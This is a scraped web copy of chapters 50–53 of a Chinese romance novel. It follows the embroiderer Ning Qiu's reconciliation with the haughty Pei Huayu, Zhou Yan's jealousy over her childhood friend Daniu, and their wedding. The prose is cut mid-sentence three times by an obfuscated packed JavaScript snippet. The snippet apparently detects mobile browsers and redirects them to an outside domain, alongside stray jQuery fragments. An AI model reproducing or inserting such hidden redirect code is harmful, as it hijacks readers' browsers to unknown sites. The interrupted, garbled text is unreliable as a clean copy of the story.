按照规矩，宁秋三人要先拜见府中主母，得到主人家授意方能在府中各处行走。 裴府主子较多，宁秋三人若是凑在一起办事效率太低，还是要分头行动，有府中丫鬟带路，不用担心走错坏了规矩。 “宁娘子，您随奴婢去清澜院，晚些我家小姐要出门，您先帮她量尺寸。” 裴夫人已经安排好了，宁秋只需要跟着带路的丫鬟走，完成自己的任务就行。 “好，多谢这位姐姐。”宁秋心不在焉地道谢。 正值春季，裴府中一步一景，假山嶙峋，各类植物争先生长，郁郁葱葱，繁花似锦。 好景在前，可宁秋没有半点欣赏的心思。 她与裴姑娘第一次见面很不愉快，那时候还有周砚和裴华丰在尚且如此，现在只有她自己，也不知裴姑娘会是什么反应，会不会为难她？ 宁秋心中忐忑不安，胡思乱想之际，丫鬟已经将她带到清澜院了。 “小姐现下方便吗？金绣阁的宁姑娘过来量尺寸，劳烦月盈妹妹帮忙通传。” 领路丫鬟的问询声拉回了宁秋的思绪，她赶忙调整好自己的状态，在对面丫鬟看过来时露出一个得体的笑容。 “宁姑娘、满枝姐姐稍等，我这就去问问。” 月盈朝宁秋福了一礼，转身进屋，很快又出来招呼宁秋二人进去了。 裴家富庶是众所周知的事实，然而真正接触到，宁秋才发觉自己的想象是多么的匮乏。 只进屋匆匆一扫，入目的家具摆设就能让她惊叹。 即便她分不清木料，认不得古董，也不妨碍她在心中猜测东西的价值。 裴华玉居住的主屋分内外间，按规矩，满枝只能在外间等候，宁秋不管懂这些，见满枝停下脚步她也跟着停下了。 月盈笑道：“我家小姐请宁姑娘进来。” “啊？好。”宁秋有些尴尬，当即朝满枝点点头，跟在月盈身后进去了。 裴华玉这会儿正倚靠在床头看话本子，听到声音漫不经心抬头瞥了一眼，又像没事人一样低头继续看话本子。 “小姐，宁姑娘到了，可要现在量尺寸？” 月盈上前一步恭恭敬敬询问，宁秋也在此时行了一礼。 今日她代表的是金绣阁，裴华玉是她们的贵客，不管她心中如何想都不能表现在脸上，要客客气气恭恭敬敬，不能让贵客有任何不满。 “哼，来都来了，那就量吧！” 裴华玉眼皮微抬，神色倨傲，轻轻放下书走到宁秋面前，审视的目光在她身上转一圈，迅速收回，不情不愿地说道：“麻烦宁姑娘了。” 50. 坦诚 “不麻烦，是我该做的。”宁秋松了一口气。 能好好沟通说明问题不大，就怕这位大小姐耍脾气不愿意配合。 “麻烦裴小姐伸展手臂。”宁秋说道。 “嗯。” 裴华玉淡淡瞥她一眼，默默伸展手臂，然而手刚伸到一半，她突然眉头一皱，暗道自己这样是不是太顺从太好说话了？ 她堂堂裴家二小姐听一个绣娘的指挥，让她做什么就做什么，未免太没面子了。 想到这，裴华玉冷哼一声，故意乱动手臂干扰宁秋的工作。 “裴小姐，麻烦配合一下，你乱动我没法测量尺寸了。” 宁秋很是无奈，看向裴华玉的眼神就像在看一个不懂事的小孩，继续说道：“尺寸量的不准，做出来的衣裳不合身，你穿着也不会舒服，我们私怨放一边，先将正事干完行不行？” “你......你的意思是我故意为难你？”裴华玉瞪大了双眼，脸颊鼓鼓的，瞧着气的不轻，“你未免太高看自己了。” “是是是，裴二小姐，你说的都对，是我的错，现在能好好配合了吗？” 宁秋扬了扬手中的尺子，感觉心好累，早知道会遇上这个娇纵的二小姐，她就跟陈红梅换一下了。 “你在敷衍我？”裴华玉眸光闪了闪，心头发虚却依旧嘴硬。 见她如此，宁秋也不想浪费时间说废话了，将尺子收起来，直言道：“裴小姐，我们金绣阁一向尊重客人的意愿，你对我不满意也无妨，与我同来的还有陈管事，你稍等片刻，我请她过来帮你量尺寸，保准让你满意。” 说着，宁秋捞起自己的布包转头就要走，不带一点犹豫的。 裴华玉懵了，急急拉住宁秋的手臂恼道：“你这人怎么这样，我又没说对你不满意，哼，没安好心，一点小事就去告状，是不是想我娘再罚我一次？” 宁秋：？？ “罢了罢了，本小姐不跟你计较，别废话，赶紧过来量尺寸，我约了小姐妹，一会儿还要出门呢!” 裴华玉高昂着下巴，眼神发虚，生怕宁秋去告状，又不甘心就此低头，死活要维护自己的面子。 宁秋闻言暗暗翻了个白眼，嘀咕道：“好赖话都被你说完了。” 她动作麻利，测量的手法也很专业，一刻钟左右，裴华玉身上各部位的尺寸都被工工整整记在册子上了。 与此同时，她询问了裴华玉的喜好，并将内容一一记录。 “好了，多谢裴二小姐配合，没什么事我便告退了。” 宁秋迅速收拾好自己的东西，边说客气话边挪脚，就等裴华玉一个回话立马走人。 毕竟不仅裴华玉不喜欢她，其实她也不喜欢裴华玉，相看两厌，以后能不见面她们还是不要见了。 谁曾想裴华玉不安常理出牌，突然出声喊住她，“宁秋，你等一下。” 宁秋疑惑看过去，眼神中满是防备。 “哼，你没必要用那种眼神看我，本小姐不屑做那种下作事。” 见宁秋不待见自己，裴华玉很不高兴，愤愤道：“那日吃完饭回府，我哥便将事情与我娘说了，娘很生气，将我叫过去训斥了一顿，还罚我关禁闭半个月，都怪你，要不是你，哥哥和娘亲绝不会这样对我。” “跟我有什么关系？罚你的又不是我，你若是闲得无聊就自己找点事做，别张口闭口就扣帽子，我还忙着呢！” 宁秋被气笑了，这个骄纵的大小姐真难缠，感情错的都是别人，她自己一点问题没有，真是无语。 裴华玉看宁秋变脸就知自己的话又触雷电了，忙道：“我说这些不是想找你麻烦，只是有些话憋在心中许久了，想和你好好说一说，你要是不介意，不妨耽误一点时间坐下来听我说两句。” 宁秋很想说介意，但转念一想，眼前人好歹是贵客，衣食父母，要是没有恶意听几句也耽误不了多少时间，就当给裴华丰一个面子了。 思及此，她点了点头，说道：“坐下就算了，裴小姐没必要拐弯抹角，有什么话直言便是。” “好，这可是你说的。”裴华玉哼声。 两个姑娘互看对方一眼，都从对方眼中看到了坦诚，还有些许因不信任而产生的防备。 “我调查过你。”裴华玉说道。 宁秋凝眉，不吭声。 裴华玉继续说道：“你爹娘都过世了，家里一堆不靠谱的亲戚，是逃难来的平州，你姑姑一家是阿砚哥哥的邻居，姑父是赌徒，他想把你卖掉，是阿砚哥哥帮了你，你俩就这么认识了，我说的对不对？” “然后呢？”宁秋蹙眉反问。 “我将你的家底都曝出来了，你为何还能如此气定神闲？”裴华玉很是不解。 听她这么问，宁秋反倒更淡定了。 她无所谓地说道：“这不是很多人都知道的事实吗？不仅如此，我还住进他家了，巷子里的邻居们都知晓，我们也没少被人指指点点，随便找个人问一嘴都能打听到，可那又如何呢？” “你是女子......” “那又如何？” 宁秋打断裴华玉的话，语气不善继续说道：“流言蜚语我听得多了，嘴长在别人的脸上，想说什么我也管不着，在这方面，我和周大哥的想法是一致的，我们只想过好自己的小日子，好好经营未来的小家庭。” “裴姑娘，我知道你想说什么，其实我和裴大哥之间没有所谓的配与不配，他很好，我也不差，我们刚开始也没多大感情，慢慢的，相处的时间长了，对彼此的了解越多，发现脾性相投，感情才越来越好，算是日久生情吧！” 说到这，宁秋柔和了眉眼，目光转向裴华玉，柔声继续说道：“我知道你对周大哥有一点好感，朦朦胧胧，或许连你自己都搞不清楚那到底是喜欢还是对兄长的崇拜，世间女子本就不易，抢男人的戏码我也没兴趣，所以裴姑娘没必要对我敌意那么大，要是早知道跟周大哥在一起会引来你这个麻烦，我就不会那么痛快答应他了。” “你......你就不怕我告诉阿砚哥哥？” 裴华玉瞪大了双眼，着实没想到宁秋会这样说，“我看得出来阿砚哥哥很喜欢你，你的话要是被他听见，他一定会难过的。” “难过就难过吧！哼，谁让他没解决好问题。”宁秋观察着裴华玉的神色，悄悄勾起了唇角。 而裴华玉作为“问题”本身陷入了沉思，片刻后，她冲宁秋竖起了大拇指。 “我服了，难怪阿砚哥哥会喜欢你，你很特别。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840305|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴华玉的心境在这一瞬间发生改变，豁然开朗，不由自主地笑起来。 “你也很特别，每个姑娘都是独一无二的存在。” 宁秋客气一句，见裴华玉好似没有其他事了，她便说道：“你没有别的事，我便告辞去三小姐院子了，活还没干完，再耽搁下去陈管事要扣我工钱了。” “那点工钱扣就扣了，还没我一个发簪值钱。” 裴华玉嘴比脑子快，话说出口她便后悔了，小心翼翼偷看宁秋的反应，见宁秋看过来，尴尬又心虚地笑笑，解释道：“那个，我没别的意思，你莫要放在心上，大不了真被扣钱我就赔给你。” “嗯，我走了。”宁秋敷衍应声，实在不想跟裴华玉说话了。 唉，人各有命，世上有钱人那么多，为什么不能多她一个？辛辛苦苦一个月，到手的月钱还不如人家一个发簪，好气。 宁秋不再耽搁，与裴华玉说一声就往外面走。 也不知道裴华玉怎么想的，突然追出来对着宁秋的背影大喊道：“宁秋，对不起，你会原谅我吗？你和阿砚哥哥成亲的时候我能不能过去吃喜酒？” 宁秋闻声一愣，回头看过去，顿了顿，她也喊道：“随便你，想来就来吧！” 二人遥遥相望，都笑了。 从清澜院出来，满枝又领着宁秋去往下一个院落，没人特意刁难，事情进展的很顺利。 约摸一个半时辰后，她终于完成自己的任务与陈管事二人汇合了。 陈管事对宁秋和陈红梅的表现非常满意，回去的路上不吝啬地一一夸奖，宁秋和陈红梅皆高兴不已。 三人在街上随便吃了顿午饭才回金绣阁，将制作成衣的活一一分派下去。 经过这次上门生意，宁秋对大户府邸的情况有了更深一层的了解，外出的活再轮到她头上时，已经不会紧张了。 陈管事欣赏她小小年纪心性稳固，也愿意培养她，光是下半月，就让她出了三趟外勤。 随着她的见识逐次增长，面对不同的场合，她也能更妥帖地应对，事情办的好，掌柜和陈管事也会更看重几分。 这日，宁秋忙完一天的绣活拖着疲惫的身体准备回家。 刚出金绣阁大门，突然听到有人喊：“秋秋。” 声音不算大，还带着试探的语气，宁秋下意识回头循声看去。 便见一个高高瘦瘦、皮肤黝黑的少年站在金绣阁不远处，宁秋一回头，他立马露出大大的笑容，一排洁白的牙齿在黝黑皮肤的衬托下显得更白了。 “秋秋，还真是你啊！我前两天路过这里也看见你了，当时还以为眼花看错人，没敢上前相认，早知是你，我就冲上去打招呼了。” 少年人小跑过来，笑容灿烂无比，那张嘴吧嗒吧嗒说个不停，话唠属性实锤了。 宁秋茫然地看他几眼，总觉得少年很眼熟，但一时半会儿也想不起来他到底是谁？ 少年十三岁以后就经常跟着父亲在外跑，做点小生意，察言观色这一块他自认为有点心得。 一看宁秋的表情，他便猜到什么情况了。 “你不认得我了？我是大牛啊！” “大牛？”宁秋双眸一亮。 大牛立马笑着接话，“啊，是我，嘿嘿……” 51. 酸味 “你小子长那么高了，老话都说女大十八变，我没怎么变，你倒是变了不少。” 外乡见故人，宁秋的心激动无比。 她一点不见外，伸手拍了拍大牛的手臂，玩笑道：“行啊！看起来比小时候皮实，耐打。” “不是吧！我们都长大了你怎么还惦记着揍我？”大牛故作害怕，后退两步，表情很是浮夸。 宁秋被他的反应逗笑了。 二人自然而然聊起近况，得知宁秋在金绣阁做活，大牛不吝啬夸赞了一轮，说到兴起处，竟把时辰也忽略了。 周砚一如既往，得闲就亲自过来接人，正好看到这一幕。 前面的姑娘双眸晶亮笑魇如花，少年人低头垂眸，那排大白牙格外显眼，二人就这么旁若无人地说笑，出乎意料的和谐。 周砚俊朗坚毅的脸瞬间阴沉下来，薄唇紧抿，内心情绪汹涌翻腾，却还要强装成一个没事人，快步朝宁秋走去。 “秋秋。” 他压了压嗓音，尽量让自己的声音听起来更有亲和力。 宁秋听到呼唤立马回头，与大牛谈话时的笑容还挂在脸上，看到是周砚，那笑容绽放的越发灿烂。 见状，周砚心里总算舒服一点了。 “你忙完了吗？我们该回家了。”周砚的目光似不经意扫过旁边的大牛，适时露出疑惑，接着问道：“秋秋，这位是？” “他是我朋友，老家邻居，小时候的玩伴，你叫他大牛就行。” 宁秋说着，转头拉周砚到自己身边正准备给大牛介绍，便听周砚抢话说道：“大牛兄弟刚到平州吗？什么时候得闲来家里吃个饭，我做东。” 大牛不知对方是谁，不过当着宁秋的面，他不好拂了周砚的面子，便点点头，客气道：“好说好说，那我就不客气了，得闲定登门叨扰，到时候大哥别嫌烦。” 二人之间的氛围有种说不清道不明的尴尬，宁秋看看这个又看看那个，猜想可能是二人刚认识还不熟的原因，等以后熟悉了就不会这样了。 “有客登门是幸事，又怎会烦？也怪我不善交际，竟然忘记自我介绍了，我是秋秋的未婚夫，姓周，单名一个砚字，我们婚期定在三月初九，没几日了，你到时候记得过来喝喜酒。” 周砚不动声色观察大牛的反应，说话间，顺手揽住宁秋的肩膀将她往自己怀中带，一副热情好客的模样，暗戳戳宣誓主权。 宁秋被他突如其来的动作闹了个大红脸，羞恼地轻轻推他一下，不过她考虑到自家和大牛家的关系倒是没反驳周砚的话。 两家搬家前是邻居，搬家后也在同一条巷子住，关系不错，若是不在同一地方就算了，如今大牛他们也来了平州，于情于理都该请人家喝喜酒。 大牛诧异地看着宁秋和周砚，半晌儿反应不过来。 之前收到宁叔意外离世的消息，他们一家还挺担心宁秋的，可惜当时在别的城，距离太远有心无力。 他们家最近刚搬到平州，本想过段时间站稳脚跟就回章回县看看，他娘还开玩笑让他求娶宁秋，他小时候没少被宁秋揍，血脉上的压制让他对宁秋的感情更像对待姐姐，男女感情生不出半点，便否决了这个提议，想着实在不行就认个干亲，他们家也能有借口照拂宁秋一二。 没想到还没回老家就在平州遇上宁秋了，还得到对方已经定亲快成亲的惊天大消息。 大牛怔愣过后脸色一变，看向周砚的眼神便没那么友善了。 此时此刻，他心中有十万个“为什么”。 比如这门亲事是宁叔生前定下的还是死后宁秋自己找的？ 若是宁秋自己找的，二人如何认识？ 男方家庭如何，家里还有什么人，做什么营生，人品如何？ 大牛的脑子乱作一团，想询问又觉得太冒昧，不问清楚内心不安。 他一个劲冲宁秋使眼色，宁秋看明白了，但是身子被周砚牢牢扣住，想动一下都难。 她不解地抬头，用眼神询问周砚什么情况，周砚不语，全当没看明白，依旧笑盈盈看着大牛，继续问道：“大牛兄弟要在平州呆多久？到时候一定要来啊！” “我们全家都在，计划在平州定下了。”大牛深吸一口气，尽量让自己的表情自然一点，笑道：“恭喜二位了，到时候一定去。” 顿了顿，他以家中爹娘为借口试探性问道：“秋秋姐怎么来平州了？两地隔的挺远，你俩这是千里姻缘一线牵，回去我要跟爹娘好好说道说道，让二老也放心。” 这会儿还在大街上，宁秋不便与大牛说太多，只道：“说来话长，我家那些糟心事你应当有所耳闻，周大哥帮我良多，反正到时候你跟叔叔婶婶一块来吃喜酒就成，其他事得空再跟你详谈。” 周砚见宁秋坦荡，大牛也没什么不对劲的地方，也正色道：“有事可以去老槐巷十七号找我们，家里没人的话，到金绣阁或者府衙找我们也行。” “好，我都记下了。”大牛动了动唇，有些话到底没说出口。 告别大牛后，周砚和宁秋并肩往家的方向走，两人都出奇的安静。 好不容易回到巷子口，宁秋突然停下脚步，抬头一本正经地盯着周砚看。 她的眼神充满探究，直看得周砚浑身不自在。 “怎么用这种眼神看我？”他问，神色有些许不自然。 宁秋没急着回答，仍旧盯着他看，让他有种自己的小心思已经被看穿的感觉。 “时辰也不早了，阿娘还等着我们回家吃饭，秋秋有话不妨直说。” 宁秋收回目光，轻哼一声，片刻后她才用肯定的语气说道：“周大哥，你不喜欢大牛。” “我没有。”周砚嘴比脑子快，话说出口就后悔了。 他平时不会如此不稳重，否认太快反而落了下乘，秋秋聪慧，定是猜到了。 周砚不由懊恼，解释道：“我和大牛初次见面并不了解他，喜欢或者讨厌都谈不上，不过他既然是你的发小，两家关系也好，我作为宁家女婿，以后有需要帮忙的地方自不会推脱。” 他认真解释，试图挽回自己的形象，不曾想宁秋听了他的话直接扑哧笑出声。 她道：“周大哥，你这话算不算欲盖弥彰？” 周砚：...... “其实我早看出来了，你在吃醋，酸味都快弥漫整条街了，你对大牛带有敌意，说话阴阳怪气的，起初我不明白，现在我已经能确定了。” 她言辞肯定，眉眼间自信飞扬，甚至还有调侃周砚的兴致，打趣道：“周三岁，今日又是不一样的你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847102|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢！” 周砚被当面拆穿也不恼，抬手宠溺的揉揉宁秋的发顶，将她的头发弄乱，看她气鼓鼓地瞪他，心头瞬间愉悦起来。 “我自认为隐藏的很好，没想到还是被你轻易识破了，秋秋比我料想中还要聪慧。” 他一脸无奈，既然掩不住就不掩了，大大方方将自己的想法说出来，反正都要成亲了，眼前姑娘板上钉钉是他的媳妇，他怕啥？ 想清楚后，他突然酸溜溜来一句：“可不得吃醋吗？青梅竹马，两小无猜，感情自不必说，我一个半路掺和的人可不得警醒些。” “确实该警醒，不然我退婚找竹马去？”宁秋故意阴阳怪气。 话落，周砚立马否决了，突然俯身一口咬在宁秋的耳尖上，她的脸瞬间爆红。 他动作轻，一触即离，顺势将人拥入怀中，闷声说道：“那不行，这辈子你别想了，有我在，其他男人一个也别想靠近你。” “又在胡言乱语。”宁秋掐他腰，唇角不自觉悄悄勾起。 二人浓情蜜意，小声说话，一时间忽略自己所处的位置了，直到听见一阵假咳，二人幡然清醒，迅速分开保持距离。 人在尴尬时就会显得特别忙碌，他俩也不例外。 “哎哟，老天爷还要不要人活了，啥时候我也能娶上媳妇？天天被当成狗来虐，实在遭不住啊！” 陈安贱兮兮的话从身后传来，周砚和宁秋双双回头，便见陈淮陈安两兄弟似笑非笑走过来，目光一直在他俩身上转悠。 “嫂子，你们绣阁姑娘多，你帮我关注一二，看看哪位还没许人家，帮我牵媒拉线吧！媒人钱少不了你。” 陈安也不想那么厚脸皮，但是眼睁睁看着同僚、朋友一个个都定亲成亲，自己还没得着落，家里又催，实在顶不住。 他看宁秋嫂子就很好，想来跟嫂子关系好的姑娘品行也不会差。 “婶子不是到处托媒人介绍吗？”周砚不悦地看了陈安一眼，“相看的姑娘也不少，就没一个合适的？” 说到这陈安就来劲了，他看向周砚的眼神格外幽怨，“砚哥，你相看过的姑娘比我还多，不也是遇到嫂子后才成事吗？” “咳咳咳……” 周砚没想到陈安小子如此没眼色，哪壶不该提哪壶，他忙牵住宁秋的手，狠狠瞪陈安一眼，咬牙切齿道：“不会说话可以不说。” 陈安后知后觉意识到自己说错话了，面色讪讪，讨好的朝宁秋笑笑，“嫂子莫怪，是我说话不过大脑，你别跟我一般见识。” “没事没事。”宁秋忙摆摆手，不好意思道：“我没做过媒，要是结实妥帖人，第一个介绍你，至于人家感不感兴趣，就不是我说的算了。” 陈安闻言心中一喜，迫切回道：“那是自然，多谢嫂子。” 这时，旁边看戏半天的陈淮终于有了动静，他笑骂弟弟一句，才说道：“行了，都回家，堵在巷口不像话，过几日砚哥儿和弟妹大喜，来人肯定很多，忙碌归忙碌，机会定也有，你小子多注意点。” 周砚和宁秋也赞同这话，四人说说笑笑，很快就到家了。 婚期在即，需要准备的东西特别多，周母接连两三日忙得脚不沾地，奈何人力有限，只搞定小部分事情，连吃席用的桌椅还没来得及租。 52. 成亲 “明日我要去家伙铺签契书租借桌椅碗筷。” 周母一边吃饭一边吐槽，“城东王大勺，这个杀千刀的，说好的事情临门反悔，攀高枝去了。” “我呸，不讲诚信的玩意不来早说啊！眼看过几日就要办席，他才随便遣家里的小儿子过来通知，这不是害人吗？” “等咱们家的喜事办完，我非得跟大家说道说道，看以后谁还敢请他掌勺。” 周砚没想到早两个月讨好的事情也能变卦，脸色瞬间黑沉下来。 周母又道：“我寻思着明日多买一点礼品但陈胖子家商量一下，他做菜也好吃，就是连轴转比较辛苦，也不知道他愿不愿意给你死鬼爹一个面子，接下我们家的席面。” 宁秋不认识陈胖子，便将目光投向周砚，由他来做主。 周砚道：“我觉得可行，陈叔做席面菜也有二十年了，他的手艺大家伙都认可，不过具体还要看他的意思，请他的人不少，实在没法只往县城问问了，若有合适的厨子，我们包路费和住宿。” “嗯，娘知道，婚礼和席面的筹办不用你们操心，你俩记得提前请假就成。” 周母已提前跟老姐妹们打好招呼，初九那日全部过来帮忙，保准将喜事办的妥妥帖帖。 宁秋和周砚双双颔首，有周母操持，他们倒不担心，就是婚期临近，心里止不住紧张。 转眼几日过去，三月初九如期而至。 根据事先定下的安排，宁秋初八便住进福来客栈了，到时她会从客栈出嫁，由接亲队伍接回周家拜堂。 为了好兄弟这场婚礼，裴华丰提前三日下令清空客栈，不介意喧闹愿意留下沾沾喜气的客人免费住三日，同意离开的客人按两倍房钱赔付。 不仅如此，他还买了许多红绸剪纸将客栈里里外外布置的喜气洋洋，大动作一套接一套，不知道的，还以为是他要成亲呢！ 而裴华玉这个骄纵的二小姐，自打解开心结与宁秋冰释前嫌后，整个人心境开阔不少。 知道宁秋初八住进福来客栈待嫁，她也要初八住客栈里，家里人不同意，她便哭哭啼啼非说自己是宁秋的好姐妹，算是娘家人，于情于理都要陪在宁秋的身边。 家里人拿她没办法，只好让裴华丰跑一趟周家，与周砚、宁秋两口子商量。 宁秋虽不知裴二小姐抽什么风，但看在裴华丰出钱又出力的份上同意了。 初八当晚，宁秋正准备睡觉，暂住的房间门突然被敲响。 “谁啊？”客栈被清理一遍，宁秋倒是不担心有坏人，只是好奇是谁大晚上不睡觉跑来敲她的门。 裴华玉鬼鬼祟祟抱紧怀中的扁状木盒子，听到宁秋问话，立马压着嗓子回道：“是我，裴华玉，你赶紧开门，我有个礼物要送给你。” 礼物？ 宁秋满心疑惑，思索片刻后猜想可能是添妆，便给她开门了，“送礼就送礼，又不是见不得人，鬼鬼祟祟做什么？” “确实见不得人。” 裴华玉眉头一挑，露出一个不符合身份的猥琐笑容，实在没眼看。 “快快快，秋秋，你快关门，别让其他人看见了。” 宁秋自认为没跟裴华玉熟到这个地步，见她如此不见外，眉头都快拧成疙瘩了。 “你到底想干嘛？我准备睡了，明日还要早起梳妆。”宁秋边关门边问裴华玉，赶人的意图再明显不过了。 裴华玉冷哼一声，不高兴了。 她说道：“我好心给你送礼物，你就是这样对待我的？喏，礼物。” 裴华玉将木盒递到宁秋面前，下巴抬了抬，傲娇地“哼”一声，“快拿着。” “什么东西？” 宁秋接过木盒，边询问边打开，裴华玉嘿嘿一笑，留下一句“新婚大喜，礼物送到，记得好好研读”，旋即转头开门就跑，眨眼间没了影。 哒哒脚步声还在廊内回荡，在安静的客栈中格外清晰。 宁秋被她的骚操作整的一头雾水，屋门关好，她又重新回到桌旁，拿出木盒中的书册，凝眉翻开了它。 随着一幅幅露骨的画展现在眼前，整体的，局部的，甚至连画上小人的表情都各有不同，要多详细有多详细，传神到仿佛两个小人就在面前运动。 宁秋震惊地瞪大双眼，迅速合上书册，面色涨红，脑子好似也开始发晕发热了。 “啊啊啊啊啊！裴华玉是不是有毛病，干嘛……干嘛送这种东西……” 宁秋克制地呐喊，手中的书册也被她无情丢开了。 缓了好一会儿，宁秋感觉热意褪去，脑子也变得清明，再看那书的方向，心中的好奇一点点涌现出来。 “要不再看看？” 平时看话本子，里面有关描述半遮半掩，实在太含蓄，真到实践的地步没一点用处，不如这本画册实在。 明日成婚，新婚夜什么都不懂也不行。 宁秋不断在心中说服自己，终究还是朝那本画册伸了手。 当晚，她不受控做起了不可描述的梦，眼看火焰一触即发，梦境突然被一阵敲门声打断，宁秋悠悠转醒，茫然睁眼擦了擦额角的汗水。 “秋秋，起来沐浴梳妆了。”外面是陈红梅的声音。 宁秋捏了捏眉心，由内而外散发着疲惫。 “热水一刻钟后送上来，你抓紧时间收拾，莫要拖拖拉拉耽误吉时。” 陈红梅继续敲门，直到里面的人应声，她才罢手回隔壁屋整理自己的脂粉发饰，就等宁秋收拾妥帖再大显身手。 宁秋躺床上平息好一会儿才彻底清醒，考虑到时间急迫，热水一来，她迅速沐浴洗漱。 寅时正刻一过，陈红梅再度登门，其他人也陆陆续续过来了。 全福娘子请的是陈安他娘王翠英婶子，她乐呵呵送上祝福，一边帮宁秋梳理乌黑的长发一边大声念祝福辞。 作为娘家人的大牛母亲、崔婉莹还有裴华玉也在旁一个劲夸宁秋，场面很是喜庆欢快。 裴华玉送上一套金头面，华贵大气。 崔婉莹送了自身自己做的夏装。 陈红梅手艺了得，绞面上胭脂水粉，给宁秋化了一个莹润无暇，白里透红的妆容，头饰发型也非常贴合喜服样式。 “哇，红梅，你手真巧，等我成亲也请你过来帮忙梳妆。”裴华玉惊喜地围着宁秋转，双眸亮了再亮，“哇，宁秋，你好美，这个妆容特别适合你，气质与平时完全不一样了。” 她咋咋呼呼，夸完这个又夸那个，逗的屋中众人哈哈大笑。 欢快的笑声传到屋外，回荡在半空，客栈大堂中的人纷纷抬头朝二楼看去，都好奇上面的女眷们笑什么。 大牛父子俩天还没亮就开始忙碌，一会儿跑去后厨打下手，一会儿在客栈大堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15851767|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招待来客，尽职尽责尽到娘家人的义务。 时至辰正，宁秋吃完最后一口早饭涂上口脂，整个人容光焕发，在姐妹们的打趣下适时露出些许羞涩。 “迎亲队伍来了！” 不知是谁大喊一声，挂在客栈门口的鞭炮瞬间点燃，噼里啪啦一阵响，楼下闹哄哄的，迎亲的唢呐锣鼓声越来越近，最后停在客栈门口，声音最大化了。 崔婉莹和裴华玉小孩心性，听到楼下的热闹动静没忍住守在窗口偷看。 “婉莹你瞧，那个看起来比较富贵的就是我哥。” 崔婉莹顺着指尖方向看去，“咦”一声，好奇问道：“你哥的审美一直都这样吗？” “是啊！说了也不听，还妄图改造我。”裴华玉一点没顾及自家哥哥的面子，好一通吐槽。 眼看迎亲队伍没了影，她俩又迫不及待下楼看热闹了。 大牛为了拦门绞尽脑汁，可惜他打不过周砚，肚子里也没几两墨水，只能从一些日常中寻找突破。 砍柴只是第一关，后面还有射箭、做菜、催妆诗等好几个考验。 干活、射箭不在话下，周砚吭哧吭哧一顿忙活，引得众人惊叹，其中就属陈安喊的最大声。 催妆诗是裴华玉出的题，老槐巷娶媳妇嫁闺女的不少，但都是普通小老百姓，读书人没几个，还都不在场，这可难倒周砚了。 好在裴华丰及时站出来，用他蹩脚的学识勉强编了一首，大部分人听不懂文邹邹的诗，但是都非常捧场的起哄，叫“好”声一片。 “二妹妹，可以过关了吗？”裴华丰问，眼神中的警告让裴华玉脖子缩了缩，乖乖点了点头。 “大牛兄弟觉得呢？”陈安问。 大牛估算时辰，觉得差不多了，也点点头。 得到肯定答复，周砚领着几个兄弟，身后跟着一群看热闹的街坊一股脑涌上二楼。 “叩叩叩。” 屋门被敲响，陈红梅立马帮宁秋盖好红盖头，视线阻隔，宁秋紧张地攥紧手中红帕子。 大牛娘确认新娘子已经做好准备，就笑盈盈去开门。 周砚一见到她，先恭恭敬敬行了一礼，询问新娘子准备的情况，进退有度，一表人才，大牛娘满意地点点头。 “可以接新娘子了，去吧！” 大牛娘让出一条路，周砚高高兴兴进去了，其他人全部守在门口，伸长脖子往里面张望。 周砚大步走到床边，先冲陈红梅点了点头，才看向盖着红盖头的新娘子，眼中满是柔情。 “秋秋，我来接你回家了。” 他朝宁秋伸出手，怕她看不见还特意伸到盖头下方。 宁秋抑制住激动的心跳，小心翼翼将手搭在他的掌心，双手交握的瞬间，二人都满足地笑了。 “花轿在客栈门口，我背你下楼。” 按照规矩，新娘子出嫁应当由娘家兄弟背出门，可宁父宁母只有宁秋一个孩子，大牛又算不得真正的娘家人，周砚思来想去，还是不愿意其他男人背自己的媳妇，毅然决然要求自己来背。 周母拗不过他只能同意了。 宁秋伏到周砚的背上，感受着他宽实后背带来的安全感，在众人的祝福中坐上花轿。 “回家咯！” 花轿摇摇晃晃动起来，唢呐锣鼓声不绝于耳，宁秋的心在此刻终于安定下来了。 53. 新婚 老槐巷周家，周母已在门口张望第八次了。 “新娘子怎么还没接回来？等下赶不上吉时了。” 周母急得直跺脚，一边碎碎念，转头看到过来喝喜酒的亲朋好友立马又挤出笑脸，热情招待。 席面摆了二十五桌，自家庭院内只摆两三桌自家亲戚吃，其他桌子包括做席的炉灶全部摆去晾晒场上，那地方宽敞，大家伙聚在一起吃席还热闹。 “桂花，接亲队伍快回来了吧？”有街坊问道。 周母心里着急，面上却没有表现出来，笑着回道：“应该快了，我让春兰家的小宝出巷口看看情况了，席面已经开始，都是老槐巷的人你应该知道去哪吃席，我省点脚力就不带你过去了。” “不用那么麻烦，我晓得路，你忙。” 